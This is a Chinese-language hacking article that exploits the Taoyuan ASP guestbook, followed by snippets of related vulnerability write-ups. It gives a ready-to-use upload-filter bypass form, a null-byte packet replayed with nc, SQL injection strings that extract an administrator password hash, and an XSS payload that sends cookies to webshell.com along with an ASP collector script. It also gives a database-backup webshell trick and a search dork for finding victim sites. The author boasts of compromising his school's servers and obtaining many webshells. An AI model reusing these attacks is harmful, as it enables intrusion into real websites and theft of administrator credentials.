研究桃源留言本的漏洞_漏洞研究

桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统。由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评。桃源留言本由原来的2.0版,升级到现在的3.0版。其官方网站也是3.0版。前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本。于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少。  

               一.上传漏洞  

  我在网上搜索的时候,发现已经有人公布了一个上传漏洞。不过网上公布的是针对2.0版的,不全面。桃源留言本的上传漏洞其实在所有版本都存在。所有版本都有3个上传的地方:Upfile_Article.asp,Upfile_Dialog.asp,Upfile_Photo.asp.这里的上传漏洞和动力3.51的上传漏洞基本上是一样的。动网的带来了上传漏洞热潮已经过去了,相信大家对上传漏洞已经相当熟悉。不过我这里还是要提一下。来看桃源留言本最新版本3.0的Upfile_Article.asp的部分代码。  

for each formName in upload.file '列出所有上传了的文件,一个FOR循环!  

set ofile=upload.file(formName) '生成一个文件对象  

...  

arrUpFileType=split(UpFileType,"|") '取得定义的可以上传的后缀名  

for i=0 to ubound(arrUpFileType)  

if fileEXT=trim(arrUpFileType(i)) then  

EnableUpload=true hoho,EnableUpload '变量改变了!  

exit for  

end if  

next  

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="cer" or fileEXT="cdx" then '呵呵,都过滤了。  

EnableUpload=false  

end if  

if EnableUpload=false then  

msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType  

FoundErr=true hoho,FoundErr '变量改变了!  

end if  

...  

if FoundErr<>true then  '又是一个重要地方,FoundErr变量是能否上传的关键  

randomize  

ranNum=int(900*rnd)+100 '生成一个随机数  

filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt  '没改变上传文件的后缀  

...  

这里又是化境无组件上传,具体的漏洞原理分析,我不想多说了,因为有太多的人分析了。由于化境无组件上传可以同时上传多个文件,作者没有考虑到这种情况。当我们上传两个文件时,假设第一个为1.gif,第二个为2.php。因为1.gif符合可以上传的后缀名 ,变量EnableUpload=true了。当第二个文件2.php上传的时候,变量的值没有改变,而且php不在asp,aspx,cer,cdx这几种特殊情况之内,又骗过了检测, FoundErr<>true,于是2.php也会随着1.gif上传到服务器。上传1.gif是为了给2.php做掩护,第二个文件可以是除asp,aspx,cer,cdx以外的任意后缀。如果服务器支持jsp,我们也可以传jsp木马。实际上这个3.0版的的Upfile_Article.asp还是对上传漏洞又所修补,不过修补够,我们还有办法突破。因为在以前的2.0版,2.1版上面那一句是:if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then,这样我们就随便传cer,cdx后缀的asp木马了。3.0版的还真奇怪,Upfile_Article.asp和Upfile_Photo.asp都修补了一下,也就是增加了对cer,cdx后缀的过滤,但是Upfile_Dialog.asp却和2.0版2.1版的一样。因此3.0版我们可以直接对Upfile_Dialog.asp加以利用,把upload_Dialog.asp的关键部分加以修改:  

<body bgColor=menu leftmargin="5" topmargin="0">  

<form action="http://www.mytaoyuan.com/ly/Upfile_Dialog.asp" method="post" name="form1" onSubmit="return check()" enctype="multipart/form-data">  

<input name="FileName" type="FILE" class="tx1" size="35">  

<input name="FileName1" type="FILE" class="tx1" size="35">  

<input type="submit" name="Submit" value="上传">  

<input name="DialogType" type="hidden" id="DialogType" value="pic">  

</form>  

</body>  

如图1 注意后面的DialogType这个隐藏变量。HOHO,第一个文件选gif文件,第二个就把asp木马改后缀为cdx,传上去就ok了。如图2。  

3.0版的Upfile_Article.asp这种修补漏洞的方法不可取。,其实自从动力漏洞公布后,很多系统又相似的漏洞,许多站长就是这么修补上传漏洞的,可惜他们并不懂得真正原理。我们构造asp .gif后缀,同样把Upload_Article.asp加以改造,上传2个文件,第一个1.gif,第2个2.asp .gif,再上传抓包保存为bao.txt,用winhex打开bao.txt,把空格对应20棏改为00(相信大家都熟练了)。再用nc提交,nc www.mytaoyuan.com 80<bao.txt,这样就把asp木马传上去。如图。较好地修补可以在upfile_Dialog.asp找到  

if FoundErr<>true then  

        randomize  

        ranNum=int(900*rnd)+100  

        filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt  

        ofile.SaveToFile Server.mappath(FileName)  '保存文件  

在FileName=SavePath & ofile.FileName下增加:FileName=Replace(FileName,Chr(0),"")即可,它过滤了00.  

             二.注入漏洞  

  打开留言本,发现留言本底部有一个搜索框。如图3 .再看它的default.asp里面代码。  

select case option1  

case 1  

SQL="Select * From guest where "&mark&"subject like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"  

case 2  

SQL="Select * From guest where "&mark&"content like '%"&text&"%'"&jinghua&" order by top1,lastdate desc"  

case 3  

前后对text变量没有任何过滤。如果我们再框里填上搜索词:建议' and 1=1 and '%'='  

查询语句变成了:'subject like '%建议' and 1=1 and '%'='%' and webid='' order by top1,lastdate desc' ,配配了单引号,于是正常返回与建议有关的内容。我对桃源留言本官方网站测试如下:  

建议' and 1=(select @@version) and '%'=' //看是不是sql数据库  

建议' and 0<>(select count(*) from register) and '%'='  //看管理员表是否存在,我怕管理员改了默认表名   

建议' and 0<>(select id from register where username='admin') and '%'=' //看管理员是不是admin  

建议' and (select username from register where username='风雨无阻') and '%'='//确定管理员是风雨无阻,这是从留言本是看到的  

建议' and 0<>(select id from register where id=1) and '%'=' //确定管理员id是否为1  

建议' and exists (select id from register where len(password1)=16 and id=1) and '%'=' //确定管理员密码是否也md5加密了  

建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))<100) and '%'='//猜密码长度了,已经知道是16位md5  

建议' and (select top 1 id from register where id=1 and asc(mid(password1,1,1))=51) and '%'='  

建议' and (select top 1 id from register where id=1 and asc(mid(password1,2,1))<100) and '%'='  

...  

把16位md5密码的每一位都猜出来了,对照asc码表就确定了密码是密文:350e2cfa35948c49,可以检验一下,提交:  

建议' and (select password1 from register where password1='350e2cfa35948c49') and '%'='  

  桃源留言本的所有基本上都没过滤,再看show.asp,用来显示留言的。  

dsql="delete From reply where id1="&request("id")    

   conn.execute(dsql)  

   rs.open "Select * from guest where ID = " & request("ID1"),conn,2,3  

id这个变量任何过滤,这样我们点击任意一条留言,就是注入点了。  

            三.cookies漏洞  

  读到login.asp,发现如下代码:  

response.cookies("ly").Path=cookiePath  

response.cookies("ly")("useridname")=name  

response.cookies("ly")("useridpassword")=pass  

if rs("level1")="管理员" then response.cookies("ly")("admin")=1 else if rs("level1")="版主" then response.cookies("ly")("admin")=2 else response.cookies("ly")("admin")=0  

我马上一阵高兴,cookies里的admin这个变量我们可以自己制定,这样自己不就是管理员么?修改cookies最好用桂林老兵那个修改cookies  

的浏览器,比较方便。但是发现没有用的。再default.asp中有:  

if session("useridname")<>"" then  

   rs.open "select level1 from register where username='"&session("useridname")&"'",conn,1,1  

   if not rs.eof then  

     if rs("level1")="管理员" then session("admin")=1  

     if rs("level1")="版主" then session("admin")=2  

     if rs("level1")<>"版主" and rs("level1")<>"管理员" then session("admin")=0  

   else  

     session("admin")=0  

   end if  

这就是加了session认证。此留言本无后台,只要是管理员就可以前台进行管理操作。而每个有管理功能的页面都是这样:  

<%if session("admin")<>1 then response.Redirect "default.asp"%>  

  而且cookies中密码是明文显示的,如:useridpassword=ccc&admin=1&useridname=ccc。这样上面我们注入得到的密码也无法进行cookies欺骗,除非破解出来才行。不过这样也有个安全因素。cookies中的密码是明文,这样保密性不好,如果被人偷看了,而我们的密码又和什么邮箱,QQ密码一样,那就惨了。  

            四.跨站攻击  

  这个问题要比上面的严重。漏洞主要出在guest_register.asp。这里是注册定义头像的地方,定义头像可以选择系统自带头像,也可以自己上传。一个框框填些自己定义头像的地址。  

<input name="myface" type="text" class="input1" id="QQ3" size="30">  

   <br>  

   </font></div></td>  

   <td width="458" align="center"><div align="left"><iframe style="top:2px" ID="UploadFiles" src="upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe>  

    <br>  

然后在guest_info.asp中,这里是修改自己注册信息的地方。  

<td width="11%"><img src="<%if rs("myface")<>"" then response.write(rs("myface")) else response.write(rs("face"))%>" width="72" id=idface ></td>。  

myface这个变量没有经过过滤。我们构造头像:yun_qi_img/11.gif"><script>alert('aaa啊')</script>,最后显示出来就是:  

<img src=https://yunqi-tech.oss-cn-hangzhou.aliyuncs.com/11.gif><script>alert('aaa啊')</script>" width="20" height="30">  

<input name="myface" type="text" class="input1" id="QQ3" value="yun_qi_img/11.gif">alert('aaa啊')</script>" size="30">  

自然就弹出两次对话框。如图4。经测试个人主页那里也可以进行跨站攻击。我们就个人主页那里填:  

http://<script>alert('aaa啊')</script>,最后显示出来就是:  

<a href="http://<script>alert('aaa啊')</script>" target="_blank">http://<script>alert('aaa啊')</script></a></font></div></td>  

我们的代码又执行了。填些qq号码那里也每过滤,不过长度有限制,不能跨站。  

  这样我们构造跨站之后,只要管理员看了我们发的帖子或者资料,他就中招了。前面不是谈到cookies中密码明文显示么?我们就跨站偷cookies。我们构造头像yun_qi_img/11.gif"><script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>  

个人主页http://<script>window.open('http://webshell.com/qq156544632/co.asp?msg='+document.cookie)</script>就行了。我们的http://webshell.com/qq156544632/下面的co.asp应该这样些:  

<%  

msg=Request.ServerVariables("QUERY_STRING")  

testfile=Server.MapPath("qq156544632.txt")  

set fs=server.CreateObject("scripting.filesystemobject")  

set thisfile=fs.OpenTextFile(testfile,8,True,0)  

thisfile.WriteLine(""&msg& "")  

thisfile.close  

set fs = nothing  

%>  

<script language=vbscript>window.close()</script>  

(此代码好像是Lcx大哥原创的,在此表示感谢。)这样管理员的cookies就会写到http://webshell.com/qq156544632/156544632.txt里面。  

这里顺便说下,以上跨站代码用了Fso对象,所以你的http://webshell.com/必须支持FSO,window.close()这里是为了关闭http://webshell.com/qq156544632/co.asp的,以免引起怀疑。看我偷的cookies图。如图5.  

             五.其它漏洞  

  桃源留言本的默认数据库为mdb文件,没有任何防下载措施。在“黑客”越来越多的今天,写代码的还这样有点不应该了。后台有备份,恢复数据库的功能。假设我们得到了管理密码,能进行管理操作,如果数据库被改成了asp的,我们就随便什么地方把一句话asp木马写进他数据库,把他的数据库变成asp木马。如果数据库没改,或我们不知道数据库路径,我们就先把一句话木马写进数据库,再备份数据库。因为备份数据库默认为asa文件,假设我们备份为Databackup/langzi.asa,我们直接访问http://www.xxx.com/Databackup/langzi.asa,是不是也可以用一句话asp木马进行操作了?  

  看完了是不是觉得漏洞挺多啊?留言本一般再网站中起配角作用,一次许多网站管理员对留言本的脚本安全不够重视,而且留言本开发者  

也在安全性上不够努力。实际上任何一个微小的漏洞都有可能威胁到服务器的安全。千里之堤,溃于蚁穴。就拿我来说吧,就是通过这个留言本的漏洞,入侵了我们学校一个部门的网站,进而入侵了学校的网站,再进一步控制学校网站的服务器,最后我渗透内网,控制了学校的所有服务器。希望以后的脚本编写者一定要懂得安全第一,也希望其它的类似留言本不要出现本文所提到的漏洞。用baidu搜索"填写留言 用户登录 用户注册 发言排名 查看精华"或其它关键词就可以找到大批使用桃源留言本的网站,90%以上都存在漏洞,我瞬间就得到一批webshell。目前桃源留言本官方网站漏洞还没补,留言本系统一直供人下载,希望大家千万不要上去捆马,也不要攻击其它国内网站。  

  由于本人水平有限,而且是在有限的时间里粗略地看了下代码,错误遗漏在所难免。欢迎与我交流,本人qq:156544632,当然最好是上我们地《黑客X档案》地论坛去讨论。  

时间: 2024-11-05 16:41:33

研究桃源留言本的漏洞_漏洞研究的相关文章

推荐:二次发现桃源网络硬盘漏洞_漏洞研究

本人在第10期上的黑防刊登了桃源网络硬盘相关的漏洞后.马上就通知了桃源官方修复了相关漏洞.近日,下班后无聊,就重新下载了桃源网络硬盘的最新版本2.5进行全面检测.发现虽然修补了用".",另存.下载其网站的配置文件及数据库等漏洞.但用其它的方法作了个测试后发现,汗.还是存在相关漏洞,还有就是可以构造代码,任意查看网络硬盘所有文件的源代码及配置文件和数据库.好的,转入正题吧. 为了给大家给个真实的视觉效应,特意在官方详细测试.第一就是上传漏洞,在这里官方已经换上了最新版本的V2.5了.所在

蓝雨设计整站SQL注入漏洞_漏洞研究

本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关  最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是

UBB的跨站脚本攻击的漏洞_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点 什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点比

BBSXP5.15跨站攻击漏洞_漏洞研究

前言:在新云网站管理系统1.02出来的时候,他的留言本就存在跨站漏洞,我测试了黑客动画吧,还好没有开放留言本功能,然后又测试了黑软基地 居然可以成功利用,和新云官方网站都成功拿倒了管理元的cookies.  想不到吧. 看来跨站不得不防范啊!  BBSXP的漏洞近段时间闹得可火.现有的漏洞大家都见过了,就不说了.今晚无聊,看了看BBSXP 5.15最新版的几个文件代码,发现还是存在跨站攻击的漏洞.  Cookies.asp文件,代码如下:   对提交的 "no" 参数没做处理.再看se

Discuz!论坛install.php书写错误漏洞_漏洞研究

书写错误,导致恶意用户构造语句可以写入webshell,进而控制整个服务器.    前几个晚上,把前台文件,只要是数据库调用中的变量都看了一遍.看看是不是有过滤不严的地方,看完后觉得,过滤不严的地方的确不少,但是都已经被单引号保护起来了.在php中,如果magic_qoute_gpc=on(默认的)编译器会自动把单引号等特殊字符转义,而这个时候我们想改变程序的执行流程是非常困难的.这样大大的增加了入侵的难度,在某种程度上,也的确保证了其安全.这也是为什么朋友提出一定要在magic_qoute_g

WDB论坛存在多个严重漏洞_漏洞研究

===============================================  仅以此文送给我的好友Bytes,  并祝他和他的女友璐子能够真的相爱一生,白头偕老  ===============================================  前言:  我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,"不就是在一个变量后面嵌入你的sql语句么,这个我也会",这是我听到最多的人们对WEB安全的认识,WEB安全

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞_漏洞研究

漏洞发现:LiNZI[B.C.T]@www.cnbct.org  厂商名字:动网先锋论谈  厂商地址:http://www.dvbbs.net/  漏洞程序:Dvbbs 7.1.0  漏洞描述:  Dvbbs 7.1.0 的Cookie存在泄露站点的绝对路径的漏洞,攻击者可以配合其它技术,实现SQL跨库查询等.  漏洞利用例子:  一.泄露绝对漏洞测试:  对官方的测试站点:bbs.dvbbs.net  上传一张图,代码如下:  GIF89a  <script>alert(document.c

新思路现动网新漏洞_漏洞研究

作者:优格GXU 文章来源:邪恶八进制信息安全团队   文章作者:优格[GXU] (www.wuzhou.org)   信息来源:邪恶八进制信息安全团队(www.eviloctal.com)   原文下载:http://www.wuzhou.org/dvbbs.doc   前段时间focn等人发现了动网的提权漏洞,这漏洞可是闹得天翻地覆的,连当当网论坛也给挂上马了.正是这个漏洞盖住了动网的其他漏洞,使动网的其他漏洞少为人知.   相信大家都看过<终结动网最新挂马方法!>的文章了,其实这个漏洞已

Debian灾难性漏洞_漏洞研究

以下摘自metasploit的blog The Bug On May 13th, 2008 the Debian project announced that Luciano Bello found an interesting vulnerability in the OpenSSL package they were distributing. The bug in question was caused by the removal of the following line of cod